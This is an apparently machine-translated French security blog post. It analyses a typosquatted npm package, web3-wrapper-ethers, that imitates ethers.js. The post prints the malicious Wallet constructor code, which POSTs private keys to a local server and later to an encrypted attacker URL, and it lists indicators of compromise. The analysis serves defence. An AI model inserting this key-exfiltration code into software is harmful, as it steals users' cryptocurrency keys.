La semaine dernière, notre pipeline d'analyse automatisée des logiciels malveillants a détecté un paquet suspect web3-wrapper-ethers
. Le paquet se fait passer pour le populaire éthers
et contient un code obscurci conçu pour voler des clés privées. Notre enquête a révélé que le paquet pourrait être associé à l'acteur de la menace connu sous le nom de Void Dokkaebi
, un groupe connu pour avoir volé des crypto-monnaies à des développeurs impliqués dans le développement de technologies web3, blockchain et crypto-monnaies.
Le paquet
Le paquet a été initialement publié le 5 juin à 12h45 GMT+0 :

Nous voyons quelques signes révélateurs que ce paquet est conçu pour tromper. Le nom du paquet est web3-wrapper-ethers
mais le champ du référentiel pointe vers le ethers.js
sur GitHub. En effet, les attaquants ont simplement copié le dépôt et y ont apporté des modifications mineures. Ils ont publié un total de 5 versions en l'espace d'une journée.
L'auteur
Le paquet a été publié par kaufman0913
avec l'email correspondant de kaufman0913@gmail[.]com
.

Le choix d'une photo de Raiponce en très basse résolution est... intéressant. Mais ne nous y attardons pas pour l'instant.
Que fait le paquet ?
Pour comprendre ce que le paquet essaie de faire, nous avons téléchargé une copie de la dernière version d'ethers, et nous avons fait un diff par rapport à elle pour voir ce que les attaquants avaient fait.
Nous avons observé que les versions 6.14.3
et 6.14.4
n'ont apporté aucune modification au code, ils ont simplement changé le nom du paquet.
Les choses commencent à changer dans la version 6.14.5
où l'on voit qu'ils ont ajouté une nouvelle dépendance dans l'élément package.json
ajoutant recherche de nœuds
et les @types/node-fetch
devDependency
. Nous verrons bientôt pourquoi.
Le fichier principal que le développeur a modifié est le fichier src.ts/wallet/wallet.ts
, ce qui entraîne également des modifications de lib.esm/wallet/wallet.js
et lib.commonjs/wallet/wallet.js
qui sont les versions compilées correspondantes du même fichier.
Nous voyons dans 6.14.5
qu'ils ont modifié le constructeur de la classe, en ajoutant tout ce qui se trouve en dessous de l'élément super()
appeler: :
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
Nous voyons ici un signe révélateur de leur tentative d'exfiltration de clés privées. En fait, leurs commentaires indiquent clairement qu'ils envoient la clé privée à un serveur. Mais il s'agit d'une adresse locale. Ils le font donc en temps réel, ce qui est intéressant. Cela nous donne un aperçu de leur processus de développement.
En 6.14.6
, le code change. Il se présente désormais comme suit :
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
Alors, qu'est-ce qui se cache derrière la variable cryptée enc ? Le voici !
http:/74.119.194[.]244/fetch
Voyez-vous quelque chose d'étrange ? L'URL HTTP n'est pas valide. Il manque un /
dans le protocole. Oups !
La dernière version, 6.14.7
L'ajout d'une nouvelle ligne de commande à la ligne de commande, n'introduit pas de changements significatifs. Il supprime simplement le commentaire dans le code et le console.log. Les attaquants ont dû se dire qu'ils avaient terminé, et qu'ils pouvaient donc supprimer l'aveu de malveillance et la journalisation de débogage. Cependant, ils n'ont pas abordé le problème de l'invalidité de l'URL.
Les Nord-Coréens recommencent ?
Il y a quelques mois à peine, nous avons découvert des pirates nord-coréens qui tentent de voler des portefeuilles de crypto-monnaies. Ils ont également publié des versions en temps réel, en déboguant leur code défectueux. Il est curieux de voir que cela se reproduit, n'est-ce pas ? Au moins, cette fois-ci, la première chose qu'ils ont faite a été d'inclure node-fetch, plutôt que de se taper la tête contre le mur en essayant de comprendre pourquoi leur code axios
ne fonctionnaient pas.
Dans ce cas, nous disposons d'un autre élément d'information, l'IP. Une recherche rapide de l'IP sur VirusTotal confirme nos soupçons :

Le commentaire fait référence :
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
Nous constatons en effet que la liste IOC de TrendMicro mentionne cette IP comme étant un nœud de sortie : Activité alignée sur la RPDC, via RDP à partir d'adresses IP de l'URSS
. Et leurs rapports détaillés sont tout à fait conformes à ce que nous voyons dans ce paquet : Cibler les développeurs impliqués dans web3/crypto, en essayant de voler de la monnaie.
Indicateurs de compromis
Heureusement, rien n'indique que ce paquet aurait pu causer des dommages s'il avait été téléchargé et/ou exécuté, étant donné que le code n'était pas entièrement fonctionnel. Toutefois, si vous avez installé le paquet, vérifiez le trafic vers l'adresse IP ci-dessous pour vous assurer qu'aucun dommage n'a été causé. Si vous remarquez du trafic vers cette adresse IP, supposez que vos clés cryptographiques ont été compromises.
Paquet :
web3-wrapper-ethers
IP :
74.119.194[.]244
Pour en savoir plus sur les recherches d'Aikido Security , cliquez ici.